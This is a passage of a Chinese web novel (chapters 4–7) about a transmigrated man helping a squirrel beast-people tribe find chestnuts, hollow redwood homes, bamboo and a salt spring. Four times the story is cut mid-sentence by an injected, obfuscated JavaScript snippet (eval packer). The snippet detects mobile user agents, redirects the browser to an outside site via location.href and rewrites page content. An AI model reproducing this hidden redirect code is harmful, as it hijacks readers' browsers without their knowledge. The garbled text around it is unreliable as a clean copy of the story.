脱壳的,没脱壳的板栗混杂在一起,分量还不少。关键不止一包,七八包毛栗球敲出来,再加上数捆马齿苋,估计够吃个两三顿。 收获的喜悦笼罩树洞,兽人们找来石子石块,蹲坐在洞口敲毛栗球。 黄绿相间的外壳长满细密锋利的尖刺,一不留神就会扎到手,但用石头不轻不重地敲一下,坚硬的外壳应声碎裂,光滑饱满的板栗如同蒜瓣,颗颗分明。 剩下的栗子壳不要丢,出太阳时拿出去晒一晒,当柴火烧。 将近一天一夜没吃东西,所有人都饿了,可食物就摆在面前,族人却像是有强迫症一样,非要等敲完再吃。开始花时安还没反应过来,直到毛栗球化为板栗,马齿苋清洗干净,木族长起身为大伙儿分发食物。 差点就忘了,松鼠部落还是集体制,食物论功劳分配。 现如今食物稀缺,待在树洞里的老弱病残只分到了少量食物,可能吃不饱,但也不会饿肚子。而在外奔波的兽人拿到了更多的食物,兽人分量最多,亚兽人其次。 没有人觉得分配不均,因为他们知道,年轻人是部落的希望,让他们填饱肚子才有力气干活,才能带着部落走出困境。 一下午什么都没干,花时安却拿到了与兽人同分量的食物,两把马齿苋,两捧板栗,他一个人吃估计会有点撑。 饿麻了,去树洞口用雨水洗了个手,花时安拿着属于自己的食物,找了块空地坐下。剥开板栗,撕掉外面那层皮,带有清香的淡黄色栗子仁放进嘴巴里,他整个人随味蕾一同活了过来。 正如族人所言,生板栗非常好吃,口感脆嫩,嚼起来咯嘣咯嘣的,味道清香甘甜,与粉粉糯糯的熟板栗截然不同,有点脆柿和生红薯的感觉。 穿越以来的第一顿饭啊!太不容易了,花时安手就没停过,一颗接一颗,麻溜地往嘴巴里塞,身旁多了个人他都没有发现。 “你别吃太快,饿久了要慢慢吃,不够我这儿还有。” 低沉的男声掠过耳畔,鼓着腮帮的花时安抬头一看,兽人山不知何时坐在了身旁,正慢慢吃着马齿苋,目光柔和地看着他。 一个健硕壮汉吃得比自己还斯文,花时安尴尬地笑了笑,放慢咀嚼速度,“嘿嘿,主要是太饿了。我够吃了,多的都有,你不够拿着吃,别跟我客气。” 灿烂友好的笑容好似灌木丛绽放的花朵,山微微一怔,垂眸错开视线,“不、不用,我也够吃了。” 这些食物亚兽人吃可能有点多,但对高大健硕的兽人来说,可能刚刚好。救命之恩无以为报,花时安当他不好意思,主动抓了一大把马齿苋放在山面前。 “吃,你累了一天多吃点,反正我也吃不完。” “那不行,吃不完可以放着明天吃。”山抓着马齿苋就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409123|168805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要还给他,而即将放回花时安身前时,他忽然一愣,旋即将马齿苋放回自己面前,抓了一大把板栗,“要不,我拿板栗跟你换。” “为什么要跟我换?”花时安随口一问。 俊朗的兽人抿着嘴唇,笑容纯真而腼腆,“看你一直在吃板栗,我猜你应该、应该是不爱吃野菜。” 花时安诧异地挑了下眉,眼底笑意更浓,“这都被你发现了。煮熟的马齿苋比较好吃,生的有股土腥味,我吃不太惯。” 当然他也不会浪费,为了填饱肚子,不爱吃也得吃,只是放在后面吃。 “一直下雨没办法,树枝都淋湿了,很难把火生起来。再说我们的石锅没有带出来,没有东西煮野菜。”山无声叹了口气。 这话倒是提醒花时安了,忙着逃命什么家当都没带,他们不光需要食物,还需要各种工具。看来明天得找族长说一声,锅碗瓢盆,石刀、石斧,得尽快找原材料磨起来。 他的沉默在兽人眼里变成了失落,山将手中板栗放进花时安的板栗堆里,轻声安抚:“别担心,以后会好起来的。你吃板栗,正好我爱吃野菜,跟你换。” 花时安没有再推拒,因为他们斜对面,一个瘦筋筋的小男孩正眼巴巴地盯着他,不对,是盯着他手里的食物。 猝不及防对上视线,小男孩像是被吓到了,扭头往妇人怀中一扑,哼哼唧唧道:“阿母,阿母我还想吃板栗。” “没了,没有了。”妇人轻拍男孩后背,低声安抚:“乖啊,乖乖睡觉,睡一觉起来就有板栗吃了。” “可是我还有点饿。” “忍一忍就好了,闭上眼睛,一会儿就睡着了。” 母子俩的声音不算小,周围许多兽人都听到了,但无一人有动作。花时安望着俩人怔怔出神,而这时,坐在身侧的山站起身,抓了几颗板栗走向男孩。 大方分享食物,族人万般感激,这本该是一副团结温馨的景象,可就在山将板栗递到妇人手中,转身往回走时,身旁男人凑过去嘀咕了几句,喜笑颜开的妇人顿时脸色大变。 望着山的背影,妇人感激的眼神渐渐化为恐惧,还有一丁点嫌弃。好心分享的板栗变成了烫手山芋,不舍得丢掉,又不敢靠近还回去。 前后态度天壤之别,花时安看得一脸茫然。 强者为尊的原始社会,兽人在部落的地位相当高,尤其是这次灾难后,老弱病残只能依附兽人存活,讨好兽人都来不及,又怎会冷眼相待。 所以,那个男人到底说了什么? 不能拿兽人的食物?不对,那妇人的眼神中夹杂着恐惧与嫌弃,分明是针对山。 被人嫌弃而不自知,山重新吃起了马齿苋,清澈的双眸好似夜晚反光的石头,漾着浅淡的笑意,似乎还沉浸在做好事的余韵中。 这样一个老实憨厚,心地善良的兽人为何会被族人嫌弃? 花时安有点儿好奇。 5. 第 5 章 一大早,天还没亮花时安就被吵醒了。兽人们早早起床洗漱,领取食物,剥板栗与食物的咀嚼声回荡在安静的树洞里。 意识清醒了,身体还没完全苏醒,花时安躺在地上闭目养神,谁料再睁开眼睛时,吃完早饭的族人已经准备外出了。 又不带他?花时安火速从地上爬起来,赶在族人出门之前,找到洞口角落分发食物的木族长。 外出干活的兽人领完食物,留给其他人的野菜野果不多了,但花时安一走上前,木族长立马从身后掏出一把马齿苋,还有用树叶包裹的,满满一大包板栗。 分量很足,显然是特意给他留的,花时安点头致谢:“谢谢族长。” “谢什么,现在能填饱肚子可多亏了你,”木族长满脸堆笑,分外热情地将食物递到花时安手中,又补充了一句:“这段时日你就好好待在树洞,帮我们认认果子,食物呢,就按兽人的分量给你。” 几乎想都没想,花时安摇摇头道:“族长,我不想一直待在树洞,我还是想和族人一块出去找食物。” 没想到他会主动提出外出,木族长愣了两秒,旋即摆摆手道:“不,不妥。部落只有你会分辨野菜野果,你得留在树洞,他们带新果子回来才能及时认啊。” “这不冲突,和族人一块出去,碰到能吃的果子直接摘了带回来,还更方便。如果是分头行动,其他小队带回来的植物先放着,我回来认。”花时安有理有据地分析道。 木族长听得直摇头,压低嗓音劝说:“安,这里不是晴空森林,我们地方都还没摸熟,外出寻找食物也很危险。你是部落唯一的希望,你要是有个好歹,部落怎么办,其他族人怎么办?” 花时安笑了声,“话不能这么说,重建部落,每个人都是希望。如今吃了上顿没下顿,正是缺人手的时候,我好手好脚的更应该为部落出点力,而不是待在树洞享受伤患的待遇。” “这、这……” 木族长面露难色,明显犹豫了,支支吾吾半晌没能说出一句完整的话。 花时安打铁趁热,继续补充道:“危险哪里都有,万一猛兽袭击,我们在树洞也很危险。说不定出去还要安全一点,至少有身强力壮的兽人同行。” “你说得也没错。” 唯一的顾虑打消了,木族长无奈叹了口气,朝树洞里侧招招手,高呼一声:“勇,你过来一下。” 熙熙攘攘的树洞安静了一瞬,高大健壮的兽人迎面走来。 距离不远,勇很快在身侧站定,木族长拍拍他的胳膊,指着花时安郑重其事道;“安跟你们一块外出,他说能吃的食物你们放心去采。你是我们红松部落最强大的勇士,安就交给你了,一定要保护好他。” 勇用余光瞄了花时安一眼,小幅度地点点头,“知道了。” 说着他扭头朝花时安扬了扬下巴,“准备出发。” 出去找食物而已,跟谁一队无所谓,花时安“嗯”了一声,正准备跟着兽人走向洞口,忽然想到一件被遗忘的事情,又回头提醒族长制作器具。 松鼠部落本就会使用石器,听花时安提及石锅石斧等器具,木族长当即点头,表示会尽快带人捡石头。 磨蹭了一会儿,天逐渐亮了,精神抖擞的兽人们走出树洞,迎着冉冉升起的朝阳钻进丛林中。 花时安的加入打乱了计划,勇临时做出调整。 昨天的四支队伍变成了两支,兽人朗为首的大部队继续去昨天那片树林捡毛栗球、采马齿苋。兽人勇则带领五人小队深入森林,带着花时安寻找新的食物。 与大部队在岔路口分别,浩浩荡荡一群人只剩下五个人,一下子就变冷清了。关键五个人中四个人都是红松部落的,只有花时安一个花栗鼠部落的独苗苗。 怎么有种和陌生人郊游的感觉? 花时安将撕掉外皮的板栗丢进嘴里,低低笑了一声。 “安。” 清脆的女声从身后响起,花时安回头一看,叫他的人是昨天早上一个队伍的女孩,好像是兽人简的姐姐,叫……兰? 刚穿过半人高的灌木丛,花时安放慢步子等她走近,轻轻应了一声:“嗯?怎么了?” 似乎有些难为情,亚兽人抿唇笑了笑,磕磕巴巴道:“我、我看你和山昨晚坐在一起吃东西,你们、你们以前认识?” “以前不认识,逃难那天晚上他救了我,所以才认识的。”花时安如实回答。 兰“哦”了一声,拖着长长的尾音,“救了你,倒像是大傻个会做的事。” 第二次听到这个称呼了,花时安实在好奇,忍不住问:“为什么要叫他大傻个?这个名字可不是很好听。” 兰:“你不觉得他傻傻笨笨的吗?” 花时安回想了一下,摇摇头,“没有啊,挺正常的。” “相处久了你就知道了,不是说他有多笨,只是脑袋不太灵光,分不清好坏,有时候人家欺负他,他还以为人家在和他玩呢。”兰说着说着叹了口气,“他也是个可怜的兽人,但是安,我得提醒你,你最好是不要和他走太近。” 瞌睡来了递枕头啊,花时安来了兴致,“为什么呀?” “因为……” 兰越过杂草看了眼走在前面的兽人,刻意压低嗓音:“他是不祥之人。他阿父是我们部落的,他阿母是个外族人,其实像这样找外族伴侣的人也不是没有,但别人的幼崽要么随父,要么随母,他就不一样了,他两个都随。” “啊?”花时安大脑宕机,好一阵儿才缓过来,“什么意思?串、混血?” “混血?这个说法倒是贴切。” 兰越说越起劲,边走边和花时安八卦:“他的兽形又像阿父又像阿母,很丑很怪异,可吓人。祭司大人以前说过,他和潜藏在森林里的魔鬼一样,是不祥的,会给靠近他的人带来灾难。” “他阿父阿母的兽形是什么?”花时安问。 脑海中已经有画面了,花时安先想到马和驴的结合,骡子;又想到短视频上刷到过的,拉布拉多与哈士奇的结合——哈不拉多。 兰:“他阿父是我们部落的魔松鼠,他阿母好像叫……豹,豹子!” 魔王松鼠和豹子的结合?好抽象,花时安有点想象不出来。 不过兽人兽人,最终形态依旧是人,就算兽形丑了点,抽象了点,那也不能平白给人安不祥之人的污名吧?这兽人实惨。 弄清了缘由,花时安没有再多问,而兰好似还未尽兴,一路嘀嘀咕咕:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409124|168805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你不要和他走太近,少和他说话,他已经成年了,没有亚兽人会找他当伴侣的。你要小心,小心他看上你。” 花时安轻笑一声,“嗯,谢谢你的提醒,我记住了。” “你们听到了吗?什么声音?” 前面探路的三个兽人忽然停下脚步,伸长脖子四下张望。 没了凌乱的脚步声,没有人说话,周遭一下子安静下来,花时安竖起耳朵,听到了好似风吹树叶的沙沙声。 周围灌木纹丝不动,森林里并未起风,再仔细一听,那声响好像是—— “在那边!走,过去看看。” 兽人勇抬手指了一个方向,话不多说,倏地冲了出去。 另外两个兽人立马跟上去,花时安与兰对视一眼,小跑跟上兽人们的步伐。 沙沙声化作哗哗声,透过树木间隙看到愈发明亮充盈的光线,花时安终于听清了,不是风声,是水声,水流动的声音! 钻出比人还高的灌木丛,一片开阔茂盛,绿油油的草地映入眼帘。红杉树止步于草地边缘,整片草地开阔无遮挡,仿佛一片纯净的绿色海洋,沐浴在阳光下。 踩着柔软的草坪往前走,一条蜿蜒的溪流受暴雨影响,化为湍急的小河。雨后河水浑浊,看不见底,泥土青草的味道更加浓郁,是属于大自然的独特气息。 没想到森林里还藏着一条小河,花时安站在岸边看呆了。 人类生存离不开水,这条小河可谓是雪中送炭,他已经琢磨在河边草地盖房子种地了,而站在河边随意瞄了几眼的勇,“走了,没啥好看的。” “不是,”花时安叫住他,“就这么走了?” 勇回头看向他,不解地摊开手,“不然呢?这又没食物。” “不是食物的问题。”花时安耐心与他解释:“我是觉得这里有水源又有开阔平整的空地,或许我们考虑搬到这里来住。” “搬到这里来?你疯了吧!”兽人简呛了他一句,紧接着又道:“你阿父阿母难道没有跟你说过,要远离那些没有树木的空地?” 盘旋在天空中的苍鹰是松鼠的天敌,因此没有树木遮挡的空地绝不是松鼠兽人会选择的居住地。变回兽形随时有可能被叼走,这太危险了,谁会想每天过得战战兢兢。 但今时不同往日,花时安看着脚下柔软的草地,呼吸着分外新鲜的空气,低声喃喃:“你们忘了吗,这里不是晴空森林,这里是巨树森林——兽人禁区。” 一根筋的简没听懂,下意识反驳:“巨树森林又怎——” “巨树森林!” 头脑更灵活的勇一点就通,他猛地抬头环望四周草地,眸中泛起希望的光芒,“没错,这里是巨树森林,苍鹰飞行都会绕道的巨树森林。他们不敢进来的,他们不会再威胁到我们了!” “对哦。”简也反应过来了,跟着大笑起来。 站在一旁的兰面露欣喜,认真地分析道:“要是没有苍鹰威胁,我们真的可以搬到这里来。离水源近,还有这么大一片草地,我真的可以住在这么宽敞漂亮的地方?” “别急着高兴,”冷静下来的勇扫过草地、河流,缓缓将视线转移到花时安身上,“太空了,连个遮风挡雨的树洞都没有,搬过来住哪?” 6. 第 6 章 搬过来住哪?好问题。 如今的部落连一件工具都拿不出,徒手盖房子难于登天,而且也没这个人力、精力,毕竟他们还处于吃了上顿没下顿的困境中。 阴暗潮湿的树洞实在不是人住的地方,花时安环望四周,视线渐渐定格在来时方向,草地边缘那一排粗壮高耸的巨型红杉树。 随着树龄增长,上了年纪的老树可能会受环境,或自然影响,出现空心现象,他们现在住的树洞就像这样形成的。 草地旁边的巨杉树虽不如那棵可容纳几十人的巨杉粗壮,但对于人类而言,它们亦是古老、庞大、不可撼动的存在。 这些巨杉树少说活了上百年,要说树干内部一点儿都没有空,花时安是不信的。具体如何有待验证,花时安朝兽人们招了招手,掉头往回走,“跟我来。” 兽人们不明所以,依旧紧跟花时安的步伐。 穿过草地,走到一棵高耸入云的巨型红杉树脚下,花时安四指并拢,如同叩门一般,沿着树干底部轻轻敲打。 咚咚咚的闷响回荡在耳畔,三个兽人面面相觑,分别从对方眼底看到了疑惑。 敲一棵似乎还不够,花时安接着走向第二棵,第三棵…… 出来找食物,结果在这耽误时间。 走到第五棵树的时候,勇耐心逐渐耗尽,有些不耐烦地“啧”了一声,“我说差不多行了,别忘了正——” “有了!”半蹲在地上的花时安噌地一下站起身,指着高大的巨杉,明眸盛满笑意与欣喜,“有地方住了,我们就住这。” “这儿?”简绕树走了一圈,一脸茫然地挠挠头,“这怎么住?睡在树脚下啊?” 花时安没多解释,抬脚猛地踹向树干,踹向刚才敲打过的位置。 四双眼睛的注视下,树干……纹丝不动。 脚掌反而有点痛了,花时安忍着不适,握拳抵唇轻咳一声,和站在身旁的勇说道:“要不你来?我力气不够大。” 勇没吭声,默默上前几步,抬脚踹向树干。 感觉都没怎么用力,只听“嘭”的一声响,巨树饱经风霜的树皮应声碎裂,坚硬的树干轻轻松松就被兽人踹出一个坑。 力气再大的兽人也不可能一脚在树干上踹出一个坑,聪明的兽人已经意识到了。他用了点力把脚拔出来,接着用手掰断周围酥脆的树皮,不一会儿小坑便扩大了数倍。 树干内部还没有完全空,但里面的木头已是腐木,甚至无需借用工具,徒手便能将那如同白蚁巢穴的腐木清除掉,变成遮风挡雨的树洞。 看完整个过程,简惊得目瞪口呆,“这,这树坏了?怎么一下子就弄这么大个洞出来。” 懒得长篇大论地解释,花时安点点头,“算是坏了,但它还能活。它是从里面开始坏的,挨着树皮这一层比较结实,掏一掏就能住人。” “好神奇呀,这也是那个外乡人告诉你的?”兰瞪大眼睛看着巨树,好奇地追问。 花时安面不改色:“没错。” 勇捣埋头鼓了一会儿,树洞的雏形渐渐出现在树脚下。 他抽回手,拍了拍手上的木屑,转头对众人说道:“树干坏得很彻底,掏起来也不费劲。可这树太小了,就算把里面全部掏空,顶多住四五个人。” “足够了。”花时安勾唇笑了笑,“谁说一定要所有人挤一个树洞,我们还可以分开住。刚才我敲了五棵树,其中三棵都是空心,放心吧,不愁没地方住。” “对哦!”简和兰异口同声,肉眼可见地兴奋起来。 搬家不是小事,得回去与族长商量后才能决定。 时间不早了,正事要紧,兽人们按下激动的心,恋恋不舍地离开巨树,转而钻进丛林中。 走走停停,一路上花时安还是看到了不少有用的植物。能洗澡搓泡泡,充当肥皂的无患子;全身都是宝,可制作床垫,编织蓑衣的山棕叶鞘。 还有很多有用的花花草草,就是没有能直接食用的。 雨过天晴,奇形怪状的蘑菇从落叶堆中探出头,五颜六色的毒蘑菇,香飘十里的牛肝菌,拳头大的青头菌…… 看着斜坡上大片大片的蘑菇,花时安走不动道了,可惜连日暴雨,山林早被雨水浸透,湿漉漉的落叶、树枝用打火机都不一定点得着,更别说最原始的钻木取火。 这玩意儿不兴生吃,没有火,捡回去也是白费劲。 下午似乎开始转运了,爬上斜坡没走出多远,他们在一片灌木丛里发现了蓝莓,一大片缀着果实的蓝莓丛。 花时安高兴坏了,昨天一颗没吃上的蓝莓啊!虽然个小不顶饱,但蓝莓可比生嚼野菜美味多了,唯一的坏处,果实太过脆弱,摘下来不好往回拿。 为此,花时安让兽人们先行采摘,自己又跑回斜坡下,撕了一捆山棕叶鞘,折了几根鹰爪枫。 山棕叶鞘又叫棕片,应当是原始森林的缘故,完整的棕片有一张课桌那般大,比地球上的山棕叶鞘大不少。它薄而轻盈,层层叠叠的纤维状形似渔网,摸着有种马毛的手感。 能用来编织蓑衣,自然也能用来制作容器,不过现场编个包出来有点赶,花时安只好用藤蔓穿过叶鞘四个角,做了几个简易小网兜。 回头蓝莓装满把四个角收起来捆好,比树叶牢固得多。 夕阳的余晖散尽,花时安与兽人赶在天黑前回到巨杉树下。 原以为他们回来得最早,不料还没走进树洞就看到了坐在洞口角落的木族长,以及他身前摆放的食物。 也是收获满满的一天,去掉外壳的板栗和清洗干净的马齿苋比昨天更多。木族长手边还放着两种与之不同的小野果,花时安一眼就认出来了,分别是南酸枣,黄果茄。 “你们回来了!安,快来,看看这两种果子能吃不。” 刚走进树洞,木族长急忙与花时安招手,坐在树洞里面的朗也风风火火地跑了出来,喊他辨认果子。 多一种食物就多一分希望,花时安理解,快步走上前。 手中鼓鼓囊囊的棕片包裹放在地上,花时安从木族长手里接过一把野果。入口的东西不能看一眼就下结论,他特意选出一颗表面光滑的金色圆果,放在鼻子底下嗅了嗅。 “怎么样怎么样,”兽人朗等不及了,眼巴巴地看着花时安,着急忙慌道:“这果子我找的,闻着可香了,应该能吃吧?” 闻着是香,一股熟苹果的味道。 花时安将果子掰成两半,不出意外地看到了与辣椒籽极为相似的籽,遗憾摇摇头,“这叫黄果茄,有毒,不能直接食用。” 其实是一味中药,但懒得解释了,用得上的时候再说。 “啊?真不能吃啊?”朗笑意凝固在脸上,无比失落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409125|168805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 花时安朝他笑了笑,继续看另一种果子。 淡黄色的果子熟透了,捏着软乎乎的,像软柿子。 闻着几乎没味道,花时安撕开果皮抿了一点果肉,微不可察地皱了下眉,“南酸枣,可以吃,但不能吃多了。里面有个核,吃的时候注意一下,记得吐了。” “哇,可以吃!什么味儿?好吃吗?”兽人一扫阴霾,麻利地抓起一颗酸枣,学着花时安的模样撕开果皮。 花时安看着他将整颗酸枣丢进嘴里,一本正经道:“酸甜可口。”酸的怀疑人生,可有可无的甜…… 细腻嫩滑的酸枣丢进嘴里,兽人目光有一瞬间的呆滞。 真正尝到酸枣的味道,朗眉头不受控制地皱了起来,整张脸愈发扭曲,“啊呸呸呸,我的个兽神啊,这、这什么鬼东西,好酸好酸,要命了!我口水都流出来了!” 兽人的哀嚎响彻树洞,木族长被吓了一跳,急忙与花时安确认:“安,这果子真能吃?” “能吃,只是有点酸,不用特意去摘。” “呸呸呸,何止有点,这果子简直酸掉牙!” …… 吃饱喝足,花时安从带回来的棕片捆里抽了两张出来,平铺在自己睡觉的小角落。棕片还未干,摸起来有点润,但比起冷冰冰硬邦邦的泥地,它已是席梦思。 其他兽人有样学样,一捆棕片很快就被瓜分干净。狼多肉少,动作慢的兽人没抢到,委屈巴巴地瘪着嘴,像是快哭了。 睡觉是睡不了一点,花时安刚把“床”铺好,坐在洞口的木族长就叫他过去说事。兽人勇也坐在洞口,原以为叫他过来聊搬家,但刚刚走近花时安就看到一堆石头。 大大小小的石头形态各异,有内里凹陷下去,像碗一样的石头,也有平整光滑,薄而结实的青石板。其中个别石头有明显的打磨痕迹,显然,这是族人捡回来制作器具的原材料。 从没接触过石器,这方面花时安也不太懂,木族长让他看,他就真的只能看看,提不出什么建议。好在部落本就使用石器,日常器具、工具都会制作,问他也只是看看有没有更好的想法。 搬家一事虽迟但到,沉甸甸的青石板放回地面,木族长望着洞外幽静的森林,如自言自语般喃喃道:“刚才吃饭的时候和兽人商量了一下,搬到河边住这个事呢,我们都觉得可行。” “这树洞也挺好,又大又宽敞,可我们人多啊,所有人住在一起还是挤了点。再说雨不会一直下,我们需要水,靠近水源安家更合适。” “我也这样想。”勇附和道。 木族长回过头,意味深长地看了眼勇,又看向花时安,“不管是住一个树洞,还是各住各的树洞,我们始终是一个部落,一个集体。以前也不是没遇到过危险,只要我们一条心,总会渡过难关,越来越好。” “你们是好孩子,是有能耐的年轻人,这段时日辛苦你们了。等忙这阵子,部落安稳下来,该歇的歇,该玩的玩。” 花时安听懂了,绕这么大个圈子,木族长就是想说: 搬过去分开住不能只顾自己,得带着族人,和部落一条心。 他在害怕,害怕无法带领部落走出困境,害怕身强力壮的年轻人付出太多,因此抛下没有劳动力的累赘。 其实想多了,即使最困难的时刻,兽人从未想过抛弃同伴。 7. 第 7 章 打定了主意搬到河边,接下来几天过得非常规律且稳定。 兽人朗带领的采集队雷打不动地寻找食物,主要还是以板栗、马齿苋为主。运气不错,外出第三天他们找到了一大片板栗林,每天带回来的板栗越来越多,再没饿过肚子。 兽人勇带领的小分队打散重组,五人变六人,个个都是身强力壮的兽人——除了花时安。他们暂时放弃了寻找食物,每天拿着石头木棍前往河边,埋头掏树洞。 花时安纯粹就是个打酱油的,兽人们不让他动手,木族长又非让他跟着,说是有更好的想法告诉兽人,好让他们及时作出调整。 掏个树洞而已,这能有什么想法,无所事事的花时安每天就在附近溜达,捡点蘑菇,用藤蔓和山棕叶鞘编织一些容器。 又是一个艳阳高照的大晴天,与兽人们在巨杉树下分别,花时安拎着两个自制小棕包,继续他的丛林探索之旅。 为防止迷路,这些天他一直沿着河流走,前两天在上游只找到少量蕨苔、木耳,今天他打算换个方向,去下游转转。 雨季差不多过去了,连着出了好几天的太阳。散落在丛林里的枯枝落叶渐渐变干燥,捡回去的蘑菇、蕨苔、木耳,部落吃不完的野菜也放在树洞外晾晒。 虽然现在吃不了,但回头有火有锅就能煮着吃。 神秘广袤的原始森林生长着丰富多样的植被,花时安走得很慢,翻一翻灌木丛,扒一扒落叶堆,不一会儿就收获了一把蒲公英、三朵柄粗伞肥的牛肝菌。 下游可食用的植物更多,可惜依旧是那些蘑菇、野菜、浆果,始终没有看到花时安心心念念的五谷杂粮,或者更美味的野果。 又在坡地上摘了些蓝莓,两个棕包塞得满满当当,发现自己不知不觉走远了,花时安旋即将棕包挂在肩膀上,掉头往回走。 起风了,沉寂的森林被一股劲风苏醒,巨树枝叶随风摇晃,枯黄的叶片好似冬日雪花,纷纷扬扬地洒落。地面低矮杂草、灌木随风起舞,如溪水流淌,绵密的“沙沙”声充斥着山林。 气温刚刚好,风吹过来也不会觉得冷。花时安不由自主地扬起下巴,切身亲近自然,感受着空气中清新的土腥味,若有似无的竹香—— 等等,什么玩意儿? 花时安猛地吸了吸鼻子,眼睛瞬间亮了起来。 这淡而纯净的气息,是竹子的味道没错! 都能闻着味儿了,距离一定不远,花时安逆着风,匆匆跑向沙沙声最大的方向。 大概五分钟后,淌过半人高的灌木丛,花时安站在斜坡往下望,一片苍翠欲滴,青澜似海的竹林赫然呈现在眼前。 修长挺拔的青竹被巨树环绕,树木茂盛的枝叶挡去大半阳光,它们依然见缝插针,茁壮成长,由破土而出的竹笋长成比肩巨树的青竹。 这算不算是瞌睡来了递枕头?树洞快掏好了,花时安钻进去试过一次,哪哪都好,就是有点漏风。正想着找材料做门呢,居然让他碰到竹林。 不只是竹门,竹子能做的用具可太多了。 背篓、菜篮、鱼笼……一只手都数不过来。花时安依稀记得,在那些野外生存挑战者眼里,它又被亲切地称为——荒野五金店。 手里没工具,不然花时安高低砍几根竹子扛回去,不过来都来了,不顺便找一找竹笋都对不起刚才那阵风。 竹子属于毛竹,竹类中最大的一种。 它一般三到五月出笋,如今已是初秋,找到笋的概率…… 不出所料,花时安在遮天蔽日的竹林中翻翻找找,几乎快把整片竹林翻个底朝天,愣是连竹笋的影子都没见着。 “嗐,就知道,还是冬天再来找冬笋吧。” 花时安呼出一口热气,提了提肩膀上的藤蔓,准备往回走。 步子还没迈开,只听“砰”的一声响,疑似石头落入水中,一阵哗哗哗,水花四散溅开的声响从身后不远处传来。 花时安愣了一下,这哪来的水? 为了找竹子深入森林,他离河边已有一定的距离,基本听不到水流声,刚才这声音…… 确认自己没听错,花时安犹豫了两秒,向前走出几步。 竹林走出头,又是一个很缓的小斜坡。花时安来到斜坡边缘,伸长脖子往下一瞅,好家伙,跟矿石采场似的,一大片光秃秃的石头。 杂乱无章的乱石堆中长着一棵板栗树,是这块地方仅有的绿色,而板栗树脚下,两三个澡盆一般大的水坑波光粼粼。 用水坑来形容好像不太贴切,毕竟水是流动的。溢出来的水顺流而下,在乱石缝中汇聚成一条非常……非常袖珍的溪流,太阳稍微大点就晒干了那种。 很奇妙的景象,水坑不大水却不少,不知是这段时间积攒的雨水,还是地底下渗出来的地下水。 看着那声异响的罪魁祸首——漂在水面上的板栗,花时安秉着走过路过不错过的原则,踩着碎石走下斜坡。 树冠悬在水坑上方,被风吹落的板栗尽数落入水中,花时安慢步上前,俯身朝水坑里瞅了一眼,忽然,一道亮光猝不及防地晃了下眼睛。 像是镜子反射太阳光,光芒尤为刺眼,他半眯着眼睛都不管用,赶忙往旁边挪了几步,用身体挡住倾斜而下的阳光才有所缓解。 揉了下眼睛,花时安避开阳光再度看向水坑,这一次他看清了,反光的不是水,更不是什么镜子——白而耀眼的结晶附着在水坑四周石头上,仿佛璀璨的钻石,在阳光下泛着耀眼的光芒。 这是…… 花时安心跳漏了一拍,心中惊涛骇浪翻涌。 像是急着确认什么,他伸手探入水中,迫切地用指甲在岩石上刮了一层结晶。没有丝毫犹豫与迟疑,花时安食指举过下巴,伸出舌尖轻轻舔了一下。 咸,齁咸! 他果然没猜错,盐,这是盐晶! “什么?盐?” 被黑暗笼罩的树洞,年迈老人一声惊呼,埋头敲板栗的兽人放下石头一拥而上,将花时安团团围住。 “盐在哪?” “安找到盐了?” “巨树森林也有盐?” …… 兽人们一人一句,安静的树洞顿时闹哄哄一团。 花时安几度张嘴都没插上话,木族长见状摆摆手,扯着嗓子维持秩序:“安静,安静一点。急个什么劲儿?让安慢慢说。” 对族人这样说,但下一秒,木族长扭头看向花时安,迫不及待地追问道:“真找到了盐石?尝了吗,咸不咸?什么样式的?有带回来吗?” 问题有点多,三两句话说不清楚,花时安索性往地上一蹲,打开脚边沉甸甸的棕包。 以为盐在棕包里,兽人们伸长脖子屏息以待。然而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409126|168805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花时安伸手往外一掏,手中赫然是……嗯?一把野菜,还是他们天天吃的马齿苋。 马齿苋明显清洗过,叶片挂着水珠,还在往下滴。可兽人们左看右看,这还是野菜啊!和他们每天吃的马齿苋一模一样。 木族长面露疑惑,“这……” 